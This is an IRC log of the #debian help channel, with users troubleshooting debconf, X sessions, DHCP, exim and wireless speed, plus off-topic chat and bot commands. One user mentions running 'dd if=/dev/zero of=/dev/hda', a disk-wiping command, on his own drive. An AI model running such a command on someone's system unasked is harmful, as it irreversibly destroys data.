| 04:07.08 | dpkg | from memory, 2.4 potato is http://www.fs.tum.de/~bunk/kernel-24.html, or http://www.debian.org/News/2001/20010415, or bunk retired and links aren't working now |
| 04:07.19 | bob2 | lordy, stop being annoying |
| 04:07.27 | toresbe | bunk retired? |
| 04:07.36 | bob2 | ages ago |
| 04:07.37 | usuario | !dpkg bob |
| 04:07.37 | dpkg | i heard bob is the almighty spleened one. |
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| 04:07.45 | toresbe | who is bunk and how old was he? |
| 04:07.50 | toresbe | !toresbe |
| 04:07.50 | dpkg | somebody said toresbe was a retrogeek, or an insane coder of COBOL |
| 04:07.52 | bob2 | adrian bunk, no idea |
| 04:07.56 | toresbe | hee |
| 04:08.05 | toresbe | why did he retire? |
| 04:08.08 | usuario | !usuario |
| 04:08.18 | bob2 | because Debian is fucked |
| 04:08.39 | toresbe | !usuario is annoying |
| 04:08.39 | dpkg | toresbe: okay |
| 04:08.42 | toresbe | :Ĺ |
| 04:08.47 | toresbe | :P* |
| 04:08.50 | bob2 | you're all annoying |
| 04:08.51 | bob2 | stop it |
| 04:08.52 | toresbe | !forget usuario |
| 04:08.52 | dpkg | toresbe: i forgot usuario |
| 04:09.00 | toresbe | !annoy bob2 |
| 04:09.01 | dpkg | bob2: bash: FFS: command not found!!!!! |
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| 04:09.07 | *** mode/#debian [+o bob2] by ChanServ |
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| 04:09.08 | *** mode/#debian [-o bob2] by bob2 |
| 04:09.19 | cafuego | <heh> |
| 04:09.24 | cafuego | bob2: Too hot today? |
| 04:09.28 | usuario | !remember usuario |
| 04:09.28 | dpkg | How can i forget about usuario ? That person is the greatest <fill in whatever is appropriate> in the whole wide world ! |
| 04:09.29 | bob2 | far too hot |
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| 04:09.38 | bob2 | usuario: oh man, stop it |
| 04:09.41 | bob2 | good lord |
| 04:09.42 | sussudio | hot enough to melt a wallaby |
| 04:09.45 | toresbe | what just happened? |
| 04:09.53 | cafuego | toresbe: You got warned by an op. |
| 04:09.58 | bob2 | toresbe: you /part'd #debian |
| 04:09.59 | toresbe | oooh |
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| 04:10.26 | toresbe | that was two different answers |
| 04:10.28 | cafuego | only 7 minutes of video left to edit |
| 04:10.38 | cafuego | toresbe: No, they were the same answer. |
| 04:10.46 | dendrite | cafuego: What are you using to edit video? |
| 04:11.00 | cafuego | dendrite: Premiere Pro |
| 04:11.01 | toresbe | dendrite: A computer :P |
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| 04:11.17 | dendrite | cafuego: Ah. On Windows? You tried Cinelerra? |
| 04:11.19 | toresbe | cafuego: Tried Cinelerra lately? |
| 04:11.29 | cafuego | toresbe: Yes. It crashes. A lot. |
| 04:11.33 | dendrite | toresbe: Could have been linear editing, ya know... =) |
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| 04:11.46 | toresbe | heh |
| 04:11.47 | cafuego | Mind you, premiere has been crashing all daya s well. |
| 04:11.55 | cafuego | tip: don't double-click a title in the timeline |
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| 04:11.57 | dendrite | Cinelerra is a nice program. |
| 04:12.06 | toresbe | All video editing software sucks |
| 04:12.14 | toresbe | Cinelerra is just open about it |
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| 04:12.37 | ctw | Hi! I'm fairly new to debian and can't seem to get rid of some apt-get / dpkg related error messages: |
| 04:12.41 | ctw | debconf: unable to initialize frontend: Kde |
| 04:12.41 | ctw | debconf: (Can't locate Qt.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.8.4 /usr/local/share/perl/5.8.4 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl .) at /usr/share/perl5/Debconf/FrontEnd/Kde/Wizard.pm line 7, <> line 1.) |
| 04:12.41 | ctw | debconf: falling back to frontend: Dialog |
| 04:12.52 | dendrite | I'm kind of interested in FCP, but I don't want to sink the $$ into a decent G5 machine... |
| 04:12.53 | cafuego | and fyi, it's still that video with the ballerina and chicks in latex |
| 04:12.57 | ctw | any idea? |
| 04:13.05 | usuario | !remember usuario wizard/photographer |
| 04:13.06 | dpkg | How can i forget about usuario ? That person is the greatest <fill in whatever is appropriate> in the whole wide world ! |
| 04:13.06 | bob2 | ctw: sudo dpkg-reconfigure debconf |
| 04:13.11 | bob2 | usuario: stop it |
| 04:13.12 | bob2 | jesus |
| 04:13.22 | bob2 | is it "be a fucktard" day again? |
| 04:13.27 | simonrvn | yes |
| 04:13.30 | cafuego | dendrite: Oh, a G4 would run it just fine too. my G3/350 just can't cut it, though. HDDs are too slow to keep up. |
| 04:13.35 | simonrvn | everyday is fucktard day |
| 04:13.39 | usuario | I'm trying out the system. |
| 04:13.50 | cafuego | usuario: Can you go and do that somewhere else? |
| 04:13.55 | dendrite | cafuego: Fair enough, a G4 would do. And t |
| 04:14.01 | cafuego | usuario: #debian-bots is for playing with bots. |
| 04:14.07 | Cyanophytes | ok found out how to disable acpi. Now when my kernel starts up it sayes that I must specify root partition root= I have root=/dev/hda1 in my lilo.conf |
| 04:14.19 | dendrite | ack! -- that's tempting, but if I'm going to jump, I would rather have a newer line of machine, otherthings being equal... |
| 04:14.26 | sobersabre | laptop channels ? |
| 04:14.29 | usuario | cafuego: gracias amigo |
| 04:14.31 | blal | !dpkg asshat |
| 04:14.31 | dpkg | well, asshat is if you have to ask what one is, you probably are one |
| 04:14.42 | cafuego | dendrite: *nod* Nice widescreen G5 powerbook or something like that :-) |
| 04:14.43 | bob2 | blal: enough |
| 04:14.54 | cafuego | usuario: Sorry, ik versta geen spaans |
| 04:14.57 | blal | :) |
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| 04:15.14 | dendrite | cafuego: Only problem is I can't seem to muster the self control to not spec out the top of the line -- about $15k |
| 04:15.34 | usuario | cafuego: was ist das? |
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| 04:15.45 | ctw | thanks bob2, but that doesn't fix the problem (I can only avoid it by chosing a different frontend) -- does the KDE frontend not work? |
| 04:15.48 | dendrite | cafuego: So I just use a k7 2400+, and that runs cinelerra and povray OK... |
| 04:15.50 | simonrvn | dual proc G5 @ 2GHz with a RAID array behind it =) |
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| 04:16.04 | bob2 | ctw: not the way you're running apt |
| 04:16.12 | bob2 | ctw: if you use sudo it will probably work |
| 04:16.30 | ctw | i use sudo apt-get install package-name |
| 04:16.45 | bob2 | maybe the kde frontend is just broken then |
| 04:16.55 | bob2 | it's kind useless anyway, but you can file a bug if no one else has |
| 04:17.17 | ctw | what is useless? the kde frontend or filing a bug? |
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| 04:17.28 | dendrite | ctw: Other things being equal, it may be a good idea to use the simplest interface, so that when things go to hell, you're more likely to have a working package management system. |
| 04:17.33 | bob2 | 6the kde frontend |
| 04:17.42 | blal | ctw : lol |
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| 04:18.11 | ctw | what frontend do you use? |
| 04:18.26 | bob2 | dialog |
| 04:18.30 | bob2 | like 99% of people |
| 04:18.32 | simonrvn | a terminal and aptitude |
| 04:18.45 | simonrvn | eew GUI frontend for debconf? |
| 04:19.12 | TheStar | simonrvn, How is that new? |
| 04:19.12 | dendrite | simonrvn: Can aptitude fix/rebuild the available file? |
| 04:19.19 | bob2 | no |
| 04:19.24 | simonrvn | TheStar: not new, just "eew" |
| 04:19.25 | bob2 | dselect update |
| 04:19.34 | TheStar | simonrvn, Ahh :) |
| 04:19.36 | dondelelcaro | simonrvn: there's a gnome and kde one, supposedly |
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| 04:19.54 | simonrvn | dondelelcaro: i know. they both suck (having tried them for kicks) |
| 04:20.01 | dendrite | bob2: I use dselect to fix the available file, I was wondering if aptitude would also do it. |
| 04:20.08 | dondelelcaro | simonrvn: ah... I've never bothered... |
| 04:20.11 | sobersabre | thanks everybody! |
| 04:20.16 | bob2 | dendrite: no, it can't |
| 04:20.17 | simonrvn | dondelelcaro: stay that way :) |
| 04:20.18 | dondelelcaro | dendrite: no, but dpkg can... it's just more complicated. |
| 04:20.28 | bob2 | dendrite: it's an old and useless file, which will hopefully go away some day |
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| 04:20.30 | dendrite | dondelelcaro: Ah. |
| 04:20.32 | ctw | ok, I'm switching the front-end thanks for your help! |
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| 04:20.53 | dendrite | bob2: Old and useless, but annoying when it b0rks! |
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| 04:20.59 | j4ke | has anyone installed armagetron or gtetrinet successfully? |
| 04:21.12 | dondelelcaro | !anyone |
| 04:21.12 | dpkg | ***anyone: No such nick/channel - and yes, there probably is someone, somewhere, who knows or runs it; that doesn't mean *I* do. |
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| 04:22.35 | anyone | No i haven't tried it |
| 04:22.48 | dendrite | :-) |
| 04:22.53 | blal | j4ke : me (armagetron) |
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| 04:23.39 | blal | j4ke : THen you say, "when I installed it, I get this problem: <problem>. Did you have that problem?" Do I correctly see what's going on? |
| 04:26.01 | dac | TheStar: use aptitude :) |
| 04:26.25 | blal | j4ke : We can handle this in-channel, methinks. What is the error message? I pretty much did "sudo aptitude install armagetron". |
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| 04:27.19 | TheStar | DaC: I'm comfortable enough with dpkg and apt as it is. |
| 04:27.36 | blal | j4ke : (...and then the game worked ok) |
| 04:27.53 | j4ke | which package do I even download? |
| 04:28.06 | j4ke | do i need the source? |
| 04:28.16 | dendrite | j4ke: What version of Linux are you running? |
| 04:28.36 | cafuego | dendrite: Athlon64 box, not tried cinelerra on this. I used it (briefly) on my AthlonXP 2400, but it was unable to import DV AVI files. |
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| 04:29.04 | j4ke | debian-like from knoppix live CD |
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| 04:29.07 | bob2 | can you buy amd64 windows retail yet? |
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| 04:29.30 | blal | j4ke : You're runing Debian, right? |
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| 04:29.36 | dendrite | cafuego: Hmm. How were you creating/importing your DV AVI files? |
| 04:29.40 | PyroTechno | can it really take 4+ hours to do dd if=/dev/zero of=/dev/hda on 120 giger? |
| 04:29.42 | j4ke | yeah, i believe so |
| 04:29.45 | dendrite | blal: He's running knoppix |
| 04:29.49 | todd | would someone please point me where i can get the isos for debian 3.x for G4 PPC 7455 (my eMac) |
| 04:29.58 | bob2 | PyroTechno: if you don't have dma |
| 04:30.01 | dondelelcaro | todd: debian.org/CD |
| 04:30.08 | cafuego | dendrite: Premiere on another box |
| 04:30.17 | blal | !tell j4ke about knoppix |
| 04:30.19 | bob2 | !1024 * 120 / 30 / 60 |
| 04:30.19 | dpkg | 68.266666666667 |
| 04:30.23 | PyroTechno | bob2: Its the debain instller disk... I bet it doesn't... |
| 04:30.24 | dendrite | j4ke: Insofar as knoppix is similar in some ways to debian, you can just use apt-get install <package> -- but that assumes that <package> is available in knoppix. |
| 04:30.26 | todd | thank you |
| 04:30.46 | PyroTechno | bob2: is there a way to do that without hdperm? |
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| 04:31.13 | bob2 | don't think so |
| 04:31.24 | dendrite | cafuego: Ah. I've used kino, and that works full circuit, from and back to Mini-DV camera. |
| 04:31.52 | dendrite | cafuego: cam > kino > cinelerra > kino > cam |
| 04:32.18 | dendrite | cafuego: Then I just use an adapter at the studio to dub it onto DVCPro |
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| 04:32.58 | dendrite | cafuego: I have a DVD drive I should install one of these fine days... |
| 04:33.12 | cdc | i ve Sarge running on my Desktop I am using KDE i want to move to XFCe 4 |
| 04:33.12 | blal | j4ke : If Knoppix doesn't have an armagetron package, you can to go the program's webpage, download the source, compile and install it (per instructions in the file named INSTALL), and then run the game... |
| 04:33.25 | bob2 | or go to #knoppix |
| 04:33.31 | bob2 | or just use a less broken operating system |
| 04:33.38 | cafuego | dendrite: I can rip it from DV cam and I've also got a D/A converted box (analog -> DV -> analog) for import/export |
| 04:33.39 | cdc | i ve installed XFCE4 i use KDM as the default login manager |
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| 04:33.58 | cdc | but now how do i switch to XFCE4. i am unable to see XFCE4 in the Session type in KDM |
| 04:34.02 | dendrite | cafuego: The analog > dv is nice. My sony TRV20 has that capability. |
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| 04:34.03 | cdc | could anyone help me? |
| 04:34.27 | dondelelcaro | cdc: use the Debian session and add exec /usr/bin/xfce4 to your .xsession |
| 04:34.34 | dendrite | cafuego: Why export to analog? VHS? |
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| 04:35.00 | cdc | dondelelcaro, i am not very sure how to do that could u please guide me ? |
| 04:35.08 | cdc | dondelelcaro, i ve not done this before |
| 04:35.16 | cdc | so could you please guide me |
| 04:35.16 | Slackian | cdc: why don't you do it maunally ? edit the .xinitdrc in the user home directory |
| 04:35.27 | dondelelcaro | ugh. not xinitdrc. .xsesion |
| 04:35.37 | dendrite | .xsession, even. |
| 04:35.52 | dondelelcaro | cdc: it's easy. use your editor to edit .xsession. Add exec /usr/bin/xfce4; to it. that's it. |
| 04:36.00 | Slackian | dondelelcaro: what's wrong with that ? |
| 04:36.13 | bob2 | debian uses .xsession |
| 04:36.21 | cdc | dondelelcaro, where would .xsession be placed? |
| 04:36.22 | chupie | anyone know how good Cinelerra would run on a 1.8ghz p4 w/ 512mb of ram? |
| 04:36.23 | bob2 | .xinitrc works for compatbility reasons |
| 04:36.24 | dendrite | cdc: a file called .xsession in your home directory will be executed instead of the default init for X. So you can tell it to run your WM of choice there. |
| 04:36.29 | blal | dondelelcaro : I symlink .xsession to .xinitrc and have one file do everything. Less screwing around. |
| 04:36.47 | dendrite | chupie: It'd work OK, but rendering would be a little slow. |
| 04:37.07 | cdc | i only have .xsession-errors |
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| 04:37.22 | mike__ | my internal beeper isn't beeping anymore |
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| 04:37.30 | mike__ | how do i turn it back on |
| 04:37.31 | mike__ | ? |
| 04:37.37 | dendrite | mike__: Replace the batteries in your pacemaker? |
| 04:37.41 | hettar | Is there a howto on how to build external kernel modules for debian ? |
| 04:37.41 | chupie | well... i do have a possible cluster of 10 900mhz p3s that can be assembled |
| 04:37.52 | bob2 | cdc: create it then |
| 04:37.59 | mrwoody | can anyone suggest any easy-to-use benchmark tool for a wireless connection? |
| 04:38.00 | dondelelcaro | blal: nothing wrong with doing that... it's just that .xsession is the way that Debian does it. .xinitrc is only read if .xsession doesn't exist for compatibility reasons. |
| 04:38.06 | mike__ | dendrite: my computer, not pacemaker |
| 04:38.07 | bob2 | mrwoody: 'wget'. |
| 04:38.14 | dendrite | chupie: Ah. Now we're getting somewhere. Sounds like fun. :-) |
| 04:38.16 | dondelelcaro | blal: see /etc/X11/Xsession if you're bored. |
| 04:38.32 | Slackian | mrwoody: do you have your wirless lan card working ? |
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| 04:38.51 | chupie | ok, good :P, the "recommended" specs it says is like for a dual proc system w/ like 2gb of ram.. heh |
| 04:38.57 | mrwoody | Slackian: yes |
| 04:39.14 | dendrite | chupie: Yeah, dual opteron, iirc. Nice if you can get it... |
| 04:39.14 | mrwoody | Slackian: just want to know how fast it is... wget is not a good idea |
| 04:39.14 | Slackian | mrwoody: what is it ? |
| 04:39.23 | mrwoody | Slackian: 2100 (or something like that) |
| 04:39.35 | mrwoody | Slackian: centrino |
| 04:39.36 | dondelelcaro | mrwoody: then look at the output of iwconfig; it'll tell you what speed it connected to the AP at |
| 04:39.41 | mike__ | dendrite: do you know? |
| 04:39.51 | Slackian | 0 Network controller: Broadcom Corporation BCM4306 802.11b/g Wireless LAN Controller (rev 03) |
| 04:39.56 | Slackian | i can't get it working |
| 04:40.00 | blal | dondelelcaro : Is it true that startx defaults to .xinitrc instead of .xsession? |
| 04:40.03 | dendrite | mike__: I have no idea what an internal beeper is. |
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| 04:40.20 | chupie | hmm.... good, now i should be able to do some decent editing here soon :) |
| 04:40.35 | mrwoody | dondelelcaro: doesn't that depend on the position of the notebook? my point is that I want to check the speed in every room of my house |
| 04:40.39 | dondelelcaro | blal: not in debian... |
| 04:40.45 | mike__ | dendrite: the internal speaker |
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| 04:40.54 | dendrite | blal: strace -f -eopen startx will tell you what files it tries to use. |
| 04:41.02 | dondelelcaro | mrwoody: sure, the speed is dynamic... so run iwconfig whenver you have the notebook stuck wherever you want it. |
| 04:41.14 | byronc | anyone using ifrename with a cisco aironet card? |
| 04:41.16 | mrwoody | dondelelcaro: ok I see... let me try. Thanks |
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| 04:41.30 | dendrite | mike__: First thing I'd check is the wiring, assuming nothing else suspicious changed. |
| 04:41.49 | mike__ | dendrite: it hasn't, ive checked |
| 04:43.04 | dendrite | mike__: To answer your question, no. I don't know what's amiss. |
| 04:43.26 | mike__ | dendrite: k, thnx anyway |
| 04:44.00 | dendrite | What a funny quit message... |
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| 04:45.00 | mrwoody | dondelelcaro: iwconfig tells me Bit Rate=11Mb/s, but I believe I can never reach that speed |
| 04:45.03 | Vyrus001 | ok um... how do i install new hardware on debian "pcmcia netgear wifi" |
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| 04:45.05 | blal | dondelelcaro : dendrite : *searches shellscripts* |
| 04:45.10 | jp- | dealing with exim, i've read the faq about this error `lowest numbered MX record points to local host', but i'm still not sure how to solve it. the mx record points at the hostname of the machine exim is running on and i want it to deliver the mail to my imap daemon that is also running local on the box the mx record points at, any tips on what i need to look into |
| 04:45.26 | mrwoody | dondelelcaro: otherwise I wouldn't be able to understand why I can't stream dvds from my computer |
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| 04:47.16 | dendrite | jp-: I'm not clear on the concept of delivering mail "to imap." |
| 04:47.21 | mCorey | does anyone know if setting up a microsoft usb mouse is any different from setting up any other usb mouse? (i.e. I've already got the information for setting up a generic usb mouse, just wanna make sure I don't need something special for ms mice) |
| 04:47.25 | sgeigerbot | question: /proc is mounted about 5 times on one of my machines (which I just recently rebooted). Is this because I failed to umount proc before I left a chroot? How can I fix this? Should I be concerned? |
| 04:48.11 | sgeigerbot | mCorey: The USB protocol is the standard...so if the mouse uses the usb protocol, you are fine. |
| 04:48.23 | sgeigerbot | mCorey: Some features of mice may not use the usb protocol. |
| 04:48.35 | mCorey | *nod* |
| 04:48.35 | jp- | dendrite: dendrite forget that part, all i'm intrested in now is figuring out how to make exim deliver the mail regardless that the mx record is pointing at the local machine it runs on |
| 04:48.36 | mCorey | danke |
| 04:48.40 | sgeigerbot | bitte |
| 04:48.45 | mCorey | as I figured, but with MS stuff, you never know :o |
| 04:49.09 | simonrvn | quit: quittt quit |
| 04:49.17 | sgeigerbot | mCorey: do I know you? |
| 04:49.27 | dendrite | jp-: Without knowing much about it, my first question is whether exim knows it's a handler for the domain in question. Is exim configured to accept email for that domain? |
| 04:49.45 | jp- | dendrite: yeah, it is. |
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| 04:50.30 | dendrite | jp-: And the MX records point to A records? |
| 04:50.30 | mCorey | sgeigerbot: I'm normally here as "merlincorey". visiting family in Washington DC right now. their wifi is messed up so I'm on their "media pc" under some crappy windows IRC client :/ |
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| 04:50.37 | budluva | ok, im having network problems, im seeing DHCPDISCOVER on blah but im not recieving DHCPOFFERS, what could be wrong here? i know i have the right nic plugged in |
| 04:50.54 | dondelelcaro | mrwoody: well, that's the speed that it's connected at. The actual speed you can get depends on a whole host of other factors, which you'll have to figure out for yourself. |
| 04:50.55 | sgeigerbot | mCorey: That's what ssh and console-based IRC clients are for. |
| 04:51.12 | dendrite | budluva: How do you know you have the right NIC plugged in? |
| 04:51.19 | sgeigerbot | mCorey: It just spooked me a bit that you thought I spoke German...because I do. |
| 04:51.20 | mCorey | yes, well, my server died. and that's why they got me a new 80gig hard drive for christmas :D |
| 04:51.30 | jp- | the mx record is setup for the domain name of the machine exim is running on. the faq says exim expected to route address to a remote host |
| 04:51.31 | simonrvn | goddamn |
| 04:51.50 | sgeigerbot | mCorey: 80gig costs what these days $60? |
| 04:52.01 | mCorey | this one was $30 after rebates :D |
| 04:52.02 | mrwoody | dondelelcaro: my initial question was if there is any easy-to-use benchmark tool to test the real speed |
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| 04:52.12 | dondelelcaro | mrwoody: and wget is that tool. |
| 04:52.14 | dendrite | jp-: Which suggests that exim doesn't think it's the final destination for that email. |
| 04:52.27 | budluva | dendrite because, eth0 = dlink nic, and i looked at the back of the server and the cable modem is plugged into the dlink nic |
| 04:52.35 | mCorey | sgeigerbot, well, I grew up in germany. weird story, we were at the outback steakhouse the other night... and our server was someone I went to school with back in germany like six years ago! |
| 04:52.41 | dondelelcaro | mrwoody: you just wget http://othermachineip/foolargefile; then see the bitrate that you actually get. |
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| 04:52.59 | Guerin | outback steakhouse-- |
| 04:53.05 | mCorey | hey Guerin :) |
| 04:53.10 | Guerin | they have them in korea too, and they're overpriced and shite |
| 04:53.11 | mCorey | how's your christmas going? |
| 04:53.11 | dendrite | budluva: does ifconfig show any packet activity? ifconfig -a? |
| 04:53.14 | JavMan | Hey I need some help I was told here would be a great place to start |
| 04:53.21 | JavMan | How do I install service pack 2? |
| 04:53.22 | Guerin | how's the big smoke treating you? |
| 04:53.26 | Guerin | mCorey: ^^ |
| 04:53.27 | mCorey | Guerin, my parents are LOOOOOOAAAADED. they go to the outback EVERY WEEK |
| 04:53.38 | loof | Hmm |
| 04:53.40 | budluva | dendrite ifconfig -a shows eth0 is up, but no ip address |
| 04:53.41 | loof | Odd |
| 04:53.43 | dondelelcaro | JavMan: ask in #windows on some other network, not here. |
| 04:53.46 | Guerin | mCorey: if I were loaded, I'd go someplace decent |
| 04:53.48 | loof | I guess everything is relative |
| 04:53.53 | dendrite | budluva: What about RX and TX counts? |
| 04:53.57 | loof | I'd consider outback to be a relatively 'cheap' steak place |
| 04:54.08 | loof | Their lamb is decent and at a good price |
| 04:54.17 | loof | their steak tends to be WAY over salted & seasoned |
| 04:54.24 | budluva | RX = 600kb TX = 2kb |
| 04:54.25 | JavMan | YEah didnt think you guys could help me I knew it was above your heads I might have to call microsoft and user their customer support. Thanks |
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| 04:54.30 | budluva | so its not sending anything out? |
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| 04:54.30 | *** mode/#debian [-o dondelelcaro] by dondelelcaro |
| 04:54.30 | loof | if you ask 'em to go really light on the seasoning... it actually isn't BAD steak |
| 04:54.35 | loof | but it's certainly not great stuff |
| 04:54.43 | Guerin | loof: well, in korea it's marginally more than the average, and the portions are big, but it's really sterile, flavourless, chemically treated shite |
| 04:54.43 | mCorey | Guerin, my lil' sisters like it, as I understand it.... anyway, it was a nice coincidence meeting someone from my old school years :) |
| 04:54.43 | sgeigerbot | mrwoody: Take notes this time. |
| 04:54.49 | britt_ | how do i find a file on my computer by the console and how do i make a symbolic link to it |
| 04:54.52 | Guerin | mCorey: yeah, fully. |
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| 04:55.01 | dendrite | budluva: Are your sure your dhcp server is up? And do you have a packet filter running? |
| 04:55.02 | dondelelcaro | britt_: with find and ln, respectively. |
| 04:55.09 | Guerin | britt_: man find, man locate, man ln |
| 04:55.12 | mCorey | Guerin: in part because now I don't have to spend all my time with teh family. :D went to a bar last night. was good :) |
| 04:55.36 | Guerin | mCorey: yeah, wwe're going to a big barbecue in a pu b in seoul on saturday |
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| 04:55.43 | Guerin | mCorey: it's going to be stupid |
| 04:55.46 | budluva | dendrite rf_packet? rf_packet is loaded in /etc/modules |
| 04:56.00 | Guerin | currently contructiong a bunny house |
| 04:56.04 | budluva | dendrite err af_packet is loaded in modules |
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| 04:56.17 | dendrite | sgeigerbot: How do you do corrections? |
| 04:56.20 | Guerin | it got down around -10 last nigth, too cold for bunny to be sleeping on a balcony with a broken window |
| 04:56.29 | mCorey | Guerin, sorry to hear :(. but maybe it will be good food :). (I'm getting so spoiled on food right now. Considering I've been living off ramen + udon + et al ) |
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| 04:56.47 | cafuego | 35.8 °C |
| 04:56.47 | loof | Guerin: Then again, korea isn't known for it's beef :) |
| 04:56.51 | cafuego | !lart Guerin |
| 04:56.52 | dendrite | budluva: Are you sure you have a DHCP server running on your network? |
| 04:56.53 | mCorey | we had shrimp, chicken, rice, and tons of veggies tonight :o |
| 04:56.59 | sgeigerbot | dendrite: permanent marker. |
| 04:57.00 | loof | Maybe if they had dandylions |
| 04:57.02 | loof | (ducks) |
| 04:57.04 | jp- | dendrite: i've got the issue worked out now, thanks for your time |
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| 04:57.10 | dendrite | sgeigerbot: <grin> |
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| 04:57.10 | mrwoody | sgeigerbot: good memory! :-) just that ttcp is not in debian as far as I can see... and my question today was "easy-to-use" |
| 04:57.18 | dendrite | jpg: what was it? |
| 04:57.35 | dendrite | sgeigerbot: You could try a pocket knife... :-> |
| 04:57.42 | Guerin | loof: you're right, it'ss not. |
| 04:58.00 | loof | Guerin: Though Koreans do seem awefully proud of their beef. |
| 04:58.04 | sgeigerbot | mrwoody: I gave you more than one suggestion! They are all in Debian...just maybe you can't apt-get them at the moment. Try another one... Some are very easy. iftop, for instance. |
| 04:58.21 | sgeigerbot | dendrite: I also make liberal use of cloning. |
| 04:58.26 | loof | I dunno, I'm from Argentina originally... our beef makes most country's taste like wood pulp |
| 04:58.43 | loof | it's significantly better |
| 04:58.45 | dendrite | sgeigerbot: That would work. Of course you have to remember to send the right clone to work... |
| 04:58.50 | Guerin | loof: yeah, yours is supposed to be the best |
| 04:58.52 | loof | but that's what you get when cows can actually run and eat grass |
| 04:58.54 | budluva | dendrite well i dont see any dhcp in /etc/init.d/ so im fucked, as i dont have a net connection to apt-get install dhcp3-server :P |
| 04:59.02 | sgeigerbot | dendrite: I mostly clone just for body part harvestation. |
| 04:59.04 | budluva | dendrite so should i just reinstall debian? |
| 04:59.05 | Guerin | the trouble with american beef, as far as I can figure, is that it's grain fed |
| 04:59.10 | loof | Corn fed. |
| 04:59.11 | bob2 | the gaucho grill in the uk serves only argintian beef |
| 04:59.17 | sgeigerbot | dendrite: Two heads aren't always better than one. |
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| 04:59.21 | bob2 | er, argentian |
| 04:59.29 | dendrite | budluva: No, I wouldn't think reinstalling would help. |
| 04:59.33 | blal | Guerin : I hear cows really don't dig corn. But people feed it to 'em anyway. |
| 04:59.42 | budluva | dendrite well how am i going to install dhcp server? |
| 04:59.52 | mrwoody | sgeigerbot: ok.. let me try that |
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| 04:59.54 | loof | THe problem with US beef is that it's (1) Corn Fed... and (2) in a field that has 10 or 20 cows...that you wouldn't put _1_ cow in most parts of the world |
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| 04:59.58 | Guerin | blal: because it makes them grow fast, and gives the meat a mild flavour |
| 04:59.58 | budluva | dendrite if my eth0 isnt getting a DHCPOFFER i dont have net access.... |
| 04:59.59 | loof | so it's very... marbled |
| 05:00.00 | dendrite | budluva: Why do you need dhcp server? |
| 05:00.05 | loof | lots of water in the meat |
| 05:00.09 | Guerin | yeah |
| 05:00.13 | sgeigerbot | dendrite: When I was first learning this, I was cloning entire badgers--head and all. It got out of hand, and that's why you see badgers here all the time. (Quite a nuissance.) |
| 05:00.18 | budluva | dendrite, well i dunno you asked me if i had one running, and no i dont |
| 05:00.23 | dendrite | budluva: Well, if you know your network stats you can just configure the nic manually. |
| 05:00.28 | loof | Still good... but it's sad to cook a steak...and end up with around 1/2 the volume gone |
| 05:00.32 | Guerin | NZ beef is all grass-fed, it's waay better than the shite we get here at 5x the price |
| 05:00.36 | TheStar | I thought that the water gets in the meet *after* it's butchered? As a way of increasing weight. |
| 05:00.42 | budluva | dendrite cause i plugged the cable modem into this windows box and its working fine |
| 05:00.45 | loof | NZ beef & lamb is actually pretty decent |
| 05:00.46 | Guerin | TheStar: yeah, that too |
| 05:00.51 | dendrite | sgeigerbot: I can imagine that an army of cloned badgers would be a bit distracting. |
| 05:00.55 | loof | right now I'm still having trouble getting argentine beef here (USA) |
| 05:00.58 | Peg | has anyone played around with pptp vpn encription at all? |
| 05:00.59 | TheStar | Totally ruins the meat. |
| 05:01.08 | mwilson | !maint hotplug |
| 05:01.09 | loof | The whole mad cow BS is limiting importation |
| 05:01.11 | dpkg | hotplug: Fumitoshi UKAI <ukai@debian.or.jp> |
| 05:01.17 | TheStar | IN australia, meat is extremely variable. |
| 05:01.23 | mrwoody | sgeigerbot: iftop looks nice! :-) |
| 05:01.28 | loof | TheStar: But you have really good cheap wine :) |
| 05:01.30 | dendrite | budluva: Well, cable relies on the MAC address. So your cable box needs the same NIc that the windows box currently has. |
| 05:01.34 | mCorey | mad cow BS? Personally, I don't want to contract mad cow... each to their own |
| 05:01.41 | mwilson | !maint initscripts |
| 05:01.44 | dpkg | initscripts: Miquel van Smoorenburg <miquels@cistron.nl> |
| 05:01.45 | sgeigerbot | dendrite: If you can kill the little buggers, though, you can put Linux on them. |
| 05:01.45 | TheStar | loof, Yup :) |
| 05:01.48 | loof | mCorey: There were less cases of mad cow in Argentina than in the US. |
| 05:01.48 | sgeigerbot | !badger |
| 05:01.51 | TheStar | loof, Especially the Reds |
| 05:01.57 | loof | (nods) |
| 05:02.04 | loof | Yah, I've never had a good aussie white |
| 05:02.11 | Guerin | you haven't had the right ones |
| 05:02.14 | budluva | dendrite well i've had it workin on that machine before, it used to be the gateway, and i reinstalled and cant get a DHCPOFFER now, how can i check to see what i have for a dhcpserver address? |
| 05:02.14 | damog | loof: vaca loca! |
| 05:02.17 | loof | Some of the California whites are good |
| 05:02.21 | loof | Never said they don't exist |
| 05:02.22 | Guerin | clare riesling, WA chardonnay |
| 05:02.24 | loof | just said I never had one |
| 05:02.34 | bob2 | Brown Brothers makes excellent white wine |
| 05:02.38 | Guerin | yeah |
| 05:02.40 | bob2 | but I doubt we export it much |
| 05:02.41 | dendrite | sgeigerbot: I know!!! Install Linux on all the badger CLONES (and any sgeigerbot SPARES as well) and send 'em all to REDMOND!!! |
| 05:02.44 | loof | Right now I'm in wine hell |
| 05:02.49 | Guerin | their sweets are really good |
| 05:02.52 | loof | Indiana (midwest US) |
| 05:02.56 | Sinistrad | Are there any tools to troubleshoot LVM problems? Specifically, I'm using dev/mapper in 2.6, and one of my PVs is no longer available (since doing an apt-get upgrade in sid, yeah yeah -- unstable, I know). Looking at the actual data on the disk, it seems like the LVM info is there, but are there tools to do a more thorough analysis? |
| 05:03.01 | loof | They are backwards enough here that you can't buy wine on Sunday |
| 05:03.12 | loof | And the importation laws are INSANE |
| 05:03.17 | cdc | how do i add xfce to .xsession |
| 05:03.20 | loof | The vineyard has to register with the state |
| 05:03.27 | Guerin | loof: haha. I'm in korea, where we can get 'Majuang California Wine' or 'Song Blue France Wine' |
| 05:03.28 | loof | and then meet a minimum import requirement |
| 05:03.28 | cdc | i dont have a file .xsession in my home directory |
| 05:03.32 | cdc | what do i do |
| 05:04.01 | Guerin | when I go back to NZ, I'm pulling another case out of the cellar |
| 05:04.07 | Guerin | ramdomness++ |
| 05:04.25 | dendrite | budluva: why did you reinstall? |
| 05:04.36 | loof | Ok, but what other country comes up with more fun company names |
| 05:04.44 | loof | Where else would you find a company named Lucky Gold Star |
| 05:05.13 | dvs | loof: Life's Good. |
| 05:05.13 | Guerin | loof: that's nothing |
| 05:05.24 | j4ke | i got it |
| 05:05.26 | loof | :) |
